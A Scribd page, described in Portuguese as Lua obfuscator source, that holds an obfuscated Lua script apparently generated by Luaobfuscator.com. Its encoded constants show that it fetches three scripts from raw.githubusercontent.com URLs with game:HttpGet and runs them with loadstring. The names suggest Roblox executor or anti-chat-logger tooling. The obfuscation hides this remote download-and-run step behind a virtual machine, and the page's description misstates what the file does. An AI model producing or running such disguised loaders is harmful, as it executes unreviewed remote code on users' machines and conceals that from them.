0% acharam este documento útil (0 voto)
13 visualizações4 páginas

Lua Obfuscator: Código e Funções

O documento é um código-fonte em Lua, que parece ser parte de um obfuscador de código. Ele contém várias funções complexas e manipulações de strings, além de operações matemáticas. O objetivo principal do código é ocultar a lógica e a estrutura do código original para dificultar a leitura e a compreensão.

Enviado por

7twnvnxggx
Direitos autorais
© All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato TXT, PDF, TXT ou leia on-line no Scribd
0% acharam este documento útil (0 voto)
13 visualizações4 páginas

Lua Obfuscator: Código e Funções

O documento é um código-fonte em Lua, que parece ser parte de um obfuscador de código. Ele contém várias funções complexas e manipulações de strings, além de operações matemáticas. O objetivo principal do código é ocultar a lógica e a estrutura do código original para dificultar a leitura e a compreensão.

Enviado por

7twnvnxggx
Direitos autorais
© All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato TXT, PDF, TXT ou leia on-line no Scribd

--[[

.____ ________ ___. _____ __


| | __ _______ \_____ \\_ |___/ ____\_ __ ______ ____ _____ _/ |_
___________
| | | | \__ \ / | \| __ \ __\ | \/ ___// ___\\__ \\ __\/
_ \_ __ \
| |___| | // __ \_/ | \ \_\ \ | | | /\___ \\ \___ / __ \| | ( <_>
) | \/
|_______ \____/(____ /\_______ /___ /__| |____//____ >\___ >____ /__| \
____/|__|
\/ \/ \/ \/ \/ \/ \/
\_Welcome to [Link] (Alpha 0.10.8) ~ Much Love, Ferib

]]--

local v0=tonumber;local v1=[Link];local v2=[Link];local


v3=[Link];local v4=[Link];local v5=[Link];local v6=[Link];local
v7=[Link];local v8=[Link];local v9=getfenv or function() return
_ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack
or [Link] ;local v14=tonumber;local function v15(v16,v17,...) local
v18=1;local v19;v16=v4(v3(v16,5),"..",function(v30) if (v1(v30,2)==81) then
v19=v0(v3(v30,1,1));return "";else local v81=v2(v0(v30,16));if v19 then local
v88=0;local v89;while true do if (v88==1) then return v89;end if (v88==0) then
v89=v5(v81,v19);v19=nil;v88=1;end end else return v81;end end end);local function
v20(v31,v32,v33) if v33 then local v82=(v31/((5 -3)^(v32-(2 -1))))%((3 -1)^(((v33-
((2 -0) -1)) -(v32-(620 -(555 + 64)))) + (932 -(857 + 74)))) ;return v82-(v82%(569
-(367 + 201))) ;else local v83=927 -((1279 -(68 + 997)) + 713) ;local v84;while
true do if (v83==(0 + 0)) then v84=((1271 -(226 + 1044)) + 1)^(v32-(878 -(282 +
595))) ;return (((v31%(v84 + v84))>=v84) and (1638 -(1523 + (496 -382)))) or (0 +
0) ;end end end end local function v21() local v34=v1(v16,v18,v18);v18=v18 +
1 ;return v34;end local function v22() local v35,v36=v1(v16,v18,v18 + (119 -(32 +
85)) );v18=v18 + 2 ;return (v36 * (251 + 5)) + v35 ;end local function v23() local
v37,v38,v39,v40=v1(v16,v18,v18 + 1 + 2 );v18=v18 + 4 ;return (v40 * (16778173 -(892
+ 65))) + (v39 * (156337 -90801)) + (v38 * 256) + v37 ;end local function v24()
local v41=v23();local v42=v23();local v43=1 -0 ;local v44=(v20(v42,1 -0 ,370 -((197
-110) + 263) ) * ((182 -(67 + (247 -134)))^(24 + 8))) + v41 ;local v45=v20(v42,51 -
(6 + 24) ,31);local v46=((v20(v42,(42 -18) + 8 )==(3 -2)) and -1) or ((946 + 7) -
(802 + 150)) ;if (v45==(0 -0)) then if (v44==(0 -0)) then return v46 * 0 ;else
v45=1 + 0 ;v43=0;end elseif (v45==(3044 -(915 + 82))) then return ((v44==(0 -0))
and (v46 * (1/(0 + 0)))) or (v46 * NaN) ;end return v8(v46,v45-1023 ) * (v43 +
(v44/((2 -0)^(1239 -(1069 + 118))))) ;end local function v25(v47) local v48;if not
v47 then v47=v23();if (v47==(0 -0)) then return "";end end v48=v3(v16,v18,(v18 +
v47) -(19 -(10 + 8)) );v18=v18 + v47 ;local v49={};for v64=792 -(368 + 423) , #v48
do v49[v64]=v2(v1(v3(v48,v64,v64)));end return v6(v49);end local v26=v23;local
function v27(...) return {...},v12("#",...);end local function v28() local
v50=(function() return 0;end)();local v51=(function() return;end)();local
v52=(function() return;end)();local v53=(function() return;end)();local
v54=(function() return;end)();local v55=(function() return;end)();local
v56=(function() return;end)();local v57=(function() return;end)();while true do
local v66=(function() return 0 + 0 ;end)();while true do if (v66~=1) then else if
(v50==(438 -(262 + 176))) then v51=(function() return function(v95,v96,v97) local
v98=(function() return 1721 -(345 + 1376) ;end)();local v99=(function() return;end)
();while true do if (v98~=(688 -(198 + 490))) then else v99=(function() return 0 -0
;end)();while true do if (0~=v99) then else local v192=(function() return 0 -
0 ;end)();while true do if (v192~=(241 -(187 + 54))) then else v95[v96-
#"}" ]=(function() return v97();end)();return v95,v96,v97;end end end end break;end
end end;end)();v52=(function() return {};end)();v53=(function() return {};end)
();v54=(function() return {};end)();v50=(function() return 1207 -(696 + 510) ;end)
();end break;end if (v66~=(0 -0)) then else local v90=(function() return 1262 -
(1091 + 171) ;end)();while true do if ((1 + 0)==v90) then v66=(function() return 1
+ 0 ;end)();break;end if (v90~=0) then else if (v50~=(3 -1)) then else v55[ #"-
19"]=(function() return v21();end)();for v106= #"<",v23() do local v107=(function()
return v21();end)();if (v20(v107, #":", #"[")==(0 -0)) then local v162=(function()
return 0 -0 ;end)();local v163=(function() return;end)();local v164=(function()
return;end)();local v165=(function() return;end)();while true do if (1==v162) then
local v198=(function() return 0;end)();local v199=(function() return;end)();while
true do if (v198~=(374 -(123 + 251))) then else v199=(function() return 0;end)
();while true do if (v199==0) then v165=(function() return
{v22(),v22(),nil,nil};end)();if (v163==(698 -(208 + 490))) then local
v215=(function() return 1636 -(1373 + 263) ;end)();local v216=(function()
return;end)();while true do if (v215~=(0 + 0)) then else v216=(function() return 0
+ 0 ;end)();while true do if (v216~=(1000 -(451 + 549))) then else
v165[ #"gha"]=(function() return v22();end)();v165[ #".dev"]=(function() return
v22();end)();break;end end break;end end elseif (v163== #"!") then
v165[ #"asd"]=(function() return v23();end)();elseif (v163==(1 + 1)) then
v165[ #"gha"]=(function() return v23() -((838 -(660 + 176))^16) ;end)();elseif
(v163~= #"gha") then else local v221=(function() return 0;end)();local
v222=(function() return;end)();while true do if ((0 -0)~=v221) then else
v222=(function() return 1384 -(746 + 638) ;end)();while true do if (v222==(0 + 0))
then v165[ #"nil"]=(function() return v23() -((1 + 1)^16) ;end)
();v165[ #".com"]=(function() return v22();end)();break;end end break;end end end
v199=(function() return 1;end)();end if (v199==1) then v162=(function() return 204
-(14 + 188) ;end)();break;end end break;end end end if (v162~=(675 -(534 + 141)))
then else local v200=(function() return 0 + 0 ;end)();local v201=(function()
return;end)();while true do if (v200~=(0 + 0)) then else v201=(function() return
0;end)();while true do if (v201==1) then v162=(function() return 1 + 0 ;end)
();break;end if (v201~=0) then else local v212=(function() return 0 + 0 ;end)
();while true do if (v212==(0 -0)) then v163=(function() return v20(v107,2,
#"xxx");end)();v164=(function() return v20(v107, #"xnxx",9 -3 );end)
();v212=(function() return 1 -0 ;end)();end if (v212==1) then v201=(function()
return 2 -1 ;end)();break;end end end end break;end end end if (v162==(1470 -(899 +
568))) then if (v20(v164, #"gha", #"xxx")== #"!") then v165[ #".dev"]=(function()
return v57[v165[ #"xnxx"]];end)();end v52[v106]=(function() return v165;end)
();break;end if (v162==(2 + 0)) then if (v20(v164, #"]", #"[")== #">") then v165[4
-2 ]=(function() return v57[v165[2]];end)();end if (v20(v164,2,2 + 0 )~= #"[") then
else v165[ #"xxx"]=(function() return v57[v165[ #"gha"]];end)();end
v162=(function() return 399 -(115 + 281) ;end)();end end end end for v108=
#":",v23() do v53,v108,v28=(function() return v51(v53,v108,v28);end)();end return
v55;end if (v50~=(573 -(426 + 146))) then else local v102=(function() return 0;end)
();local v103=(function() return;end)();while true do if (v102~=(0 + 0)) then else
v103=(function() return 0 -0 ;end)();while true do if (v103==(0 + 0)) then
v55=(function() return {v52,v53,nil,v54};end)();v56=(function() return v23();end)
();v103=(function() return 3 -2 ;end)();end if (1==v103) then v57=(function()
return {};end)();for v203= #"~",v56 do local v204=(function() return 0;end)();local
v205=(function() return;end)();local v206=(function() return;end)();local
v207=(function() return;end)();while true do if (0==v204) then v205=(function()
return 0 -0 ;end)();v206=(function() return nil;end)();v204=(function() return 868
-(550 + 317) ;end)();end if (v204==(1 + 0)) then v207=(function() return nil;end)
();while true do if (v205==(0 -0)) then local v213=(function() return 0;end)
();while true do if (v213==1) then v205=(function() return 1 -0 ;end)();break;end
if (v213==(0 -0)) then v206=(function() return v21();end)();v207=(function() return
nil;end)();v213=(function() return 1252 -(721 + 530) ;end)();end end end if
(v205==(286 -(134 + 151))) then if (v206== #"!") then v207=(function() return
v21()~=(1665 -(970 + 695)) ;end)();elseif (v206==(3 -1)) then v207=(function()
return v24();end)();elseif (v206== #"-19") then v207=(function() return v25();end)
();end v57[v203]=(function() return v207;end)();break;end end break;end end end
v103=(function() return 702 -(271 + 429) ;end)();end if (v103~=2) then else
v50=(function() return 1992 -(582 + 1408) ;end)();break;end end break;end end end
v90=(function() return 1 + 0 ;end)();end end end end end end local function
v29(v58,v59,v60) local v61=v58[1501 -(1408 + 92) ];local v62=v58[1088 -(461 +
625) ];local v63=v58[1291 -(993 + 295) ];return function(...) local v67=v61;local
v68=v62;local v69=v63;local v70=v27;local v71=1 + 0 ;local v72= -(1172 -(418 +
753));local v73={};local v74={...};local v75=v12("#",...) -(1 + 0) ;local
v76={};local v77={};for v85=0 + (1933 -(565 + 1368)) ,v75 do if (v85>=v69) then
v73[v85-v69 ]=v74[v85 + 1 + (0 -0) ];else v77[v85]=v74[v85 + 1 + 0 ];end end local
v78=(v75-v69) + (530 -(406 + 123)) ;local v79;local v80;while true do
v79=v67[v71];v80=v79[(3431 -(1477 + 184)) -(1749 + 20) ];if ((2357==2357) and
((v80<=6) or (33==1455))) then if (v80<=2) then if (v80<=(0 + 0)) then for
v104=v79[2 -0 ],v79[1325 -(1164 + 85 + 73) ] do v77[v104]=nil;end elseif (v80>(1 +
0)) then if (v77[v79[(2003 -(564 + 292)) -(466 + 679) ]]==v79[9 -(8 -3) ]) then
v71=v71 + 1 ;else v71=v79[8 -5 ];end else local v109=1900 -(106 + (5407 -
3613)) ;local v110;local v111;while true do if ((123==123) and (1==v109)) then
v77[v110 + 1 + 0 ]=v111;v77[v110]=v111[v79[(306 -(244 + 60)) + 2 ]];break;end if
(v109==(0 -0)) then v110=v79[5 -3 ];v111=v77[v79[117 -(4 + 110) ]];v109=585 -(57 +
527) ;end end end elseif (v80<=(1431 -(41 + 1386))) then if (v80==(106 -(17 + 86)))
then v77[v79[2 + 0 ]]=v79[6 -3 ]~=(0 -0) ;else v71=v79[169 -(122 + 44) ];end elseif
(v80>(8 -3)) then v77[v79[6 -4 ]]=v60[v79[3 + 0 ]];else local v116;local
v117,v118;local v119;local v120;v77[v79[1 + 1 ]]=v60[v79[5 -2 ]];v71=v71 + (66 -(24
+ 6 + 35)) ;v79=v67[v71];v120=v79[2 + 0 ];v119=v77[v79[1260 -(1043 +
214) ]];v77[v120 + (3 -2) ]=v119;v77[v120]=v119[v79[1216 -(323 + (1365 -(41 +
435))) ]];v71=v71 + (2 -(1002 -(938 + 63))) ;v79=v67[v71];v77[v79[582
-(361 + 219) ]]=v79[323 -(53 + 267) ];v71=v71 + 1 + 0 +
0 ;v79=v67[v71];v120=v79[415 -(15 + 398) ];v117,v118=v70(v77[v120](v13(v77,v120 + 1
,v79[985 -(18 + 964) ])));v72=(v118 + v120) -(3 -2) ;v116=0 + 0 ;for v157=v120,v72
do local v158=(1125 -(936 + 189)) + 0 ;while true do if (v158==0) then v116=v116 +
(851 -(20 + 830)) ;v77[v157]=v117[v116];break;end end end v71=v71 + 1 + 0 +
0 ;v79=v67[v71];v120=v79[128 -(116 + 10) ];v77[v120]=v77[v120](v13(v77,v120 + (1614
-(1565 + 48)) + 0 ,v72));v71=v71 + (739 -(542 + 196)) ;v79=v67[v71];v77[v79[2]]
();v71=v71 + 1 ;v79=v67[v71];v77[v79[2]]=v60[v79[6 -3 ]];v71=v71 + 1 + 0 +
0 ;v79=v67[v71];v77[v79[2 + 0 ]]=v60[v79[2 + 1 ]];v71=v71 + (2 -
1) ;v79=v67[v71];v120=v79[4 -2 ];v119=v77[v79[1554 -(1126 + 425) ]];v77[v120 + (406
-(118 + 287)) ]=v119;v77[v120]=v119[v79[4]];v71=v71 + ((1141 -(782 + 356)) -
2) ;v79=v67[v71];v77[v79[1123 -(118 + 1003) ]]=v79[3];end elseif (v80<=(26 -17))
then if (v80<=((651 -(176 + 91)) -(142 + 235))) then v77[v79[9 -7 ]]={};elseif
(v80==(2 + 6)) then v77[v79[2]]=v79[3];else do return;end end elseif ((v80<=11) or
(443>=4015) or (1056>=3392)) then if (v80>(987 -(553 + (1104 -680)))) then local
v145=0;local v146;local v147;local v148;local v149;local v150;while true do if ((1
-0)==v145) then v77[v79[2 + 0 ]]=v60[v79[3 + 0 ]];v71=v71 + 1 +
0 ;v79=v67[v71];v150=v79[1 + 1 ];v145=2 + 0 ;end if (((3382>166) and (7==v145)) or
(1081<1075)) then v71=v71 + (2 -1) ;v79=v67[v71];v71=v79[3];break;end if
((v145==(13 -8)) or (280==3059)) then for v195=v150,v72 do v146=v146 + (2 -
1) ;v77[v195]=v147[v146];end v71=v71 + (1 -0) + 0 ;v79=v67[v71];v150=v79[9 -(1099 -
(975 + 117)) ];v145=6;end if (v145==(757 -(239 + 514))) then v150=v79[1 +
1 ];v147,v148=v70(v77[v150](v13(v77,v150 + (1330 -(797 + 532)) ,v79[1878 -(157 +
1718) ])));v72=(v148 + v150) -(1 + 0 + 0) ;v146=0 + 0 ;v145=5;end if ((v145==(13 -
7)) or (1049>=4432)) then v77[v150]=v77[v150](v13(v77,v150 + (1203 -(373 +
829)) ,v72));v71=v71 + (732 -(476 + 255)) ;v79=v67[v71];v77[v79[1132 -(369 +
761) ]]();v145=7;end if (v145==(0 + 0)) then
v146=nil;v147,v148=nil;v149=nil;v150=nil;v145=1 -(0 -0) ;end if ((v145==(5 -2)) or
(4768<=846)) then v79=v67[v71];v77[v79[(820 -580) -(64 + 174) ]]=v79[3];v71=v71 + 1
;v79=v67[v71];v145=1 + 3 ;end if (v145==(2 -0)) then v149=v77[v79[3]];v77[v150 +
(337 -(144 + 192)) ]=v149;v77[v150]=v149[v79[220 -((1060 -(697 + 321)) +
174) ]];v71=v71 + (2 -1) + 0 ;v145=3;end end else local v151=v79[2 + 0 ];local
v152,v153=v70(v77[v151](v13(v77,v151 + 1 + 0 ,v79[1507 -(363 + 1141) ])));v72=(v153
+ v151) -(1581 -(1183 + 397)) ;local v154=0 -0 ;for v159=v151,v72 do v154=v154 +
1 ;v77[v159]=v152[v154];end end elseif ((1881>1293) and (v80==12)) then local
v155=0;local v156;while true do if (v155==(0 + 0)) then v156=v79[2 +
0 ];v77[v156]=v77[v156](v13(v77,v156 + ((4185 -2209) -(1913 + 62)) ,v72));break;end
end else v77[v79[2 + 0 ]]();end v71=v71 + (2 -1) ;end end;end return v29(v28(),
{},v17)(...);end return v15("LOL!
083Q00028Q00026Q00F03F030A3Q006C6F6164737472696E6703043Q0067616D6503073Q00482Q74704
76574033A3Q00682Q7470733A2Q2F7261772E67697468756275736572636F6E74656E742E636F6D2F43
6F72654775692F536372697074732F6D61696E2F524337035A3Q00682Q7470733A2Q2F7261772E67697
468756275736572636F6E74656E742E636F6D2F73686568616A2Q657A2F73686F6D6F2D726F626C6F78
2F6D61696E2F616E64726F69646578656375746F72756972656D6F7665722E6C756103643Q00682Q747
0733A2Q2F7261772E67697468756275736572636F6E74656E742E636F6D2F416E74686F6E7949736E74
486572652F616E74686F6E79737265706F7369746F72792F6D61696E2F736372697074732F416E74694
36861744C6F2Q6765722E6C7561002E4Q00077Q001208000100016Q000200023Q002602000100030001
0001002Q043Q00030001001208000200013Q0026020002001000010002002Q043Q00100001001206000
300033Q00120B000400043Q00202Q00040004000500122Q000600066Q000400066Q00033Q00024Q0003
0001000100044Q002D00010026020002000600010001002Q043Q00060001001208000300013Q0026020
003002500010001002Q043Q00250001001206000400033Q001205000500043Q00202Q00050005000500
122Q000700076Q000500076Q00043Q00024Q00040001000100122Q000400033Q00122Q000500043Q002
02Q00050005000500122Q000700084Q0003000800014Q000A000500084Q000C00043Q00022Q000D0004
00010001001208000300023Q0026020003001300010002002Q043Q00130001001208000200023Q002Q0
43Q00060001002Q043Q00130001002Q043Q00060001002Q043Q002D0001002Q043Q000300012Q00093Q
00017Q00",v9(),...);

Você também pode gostar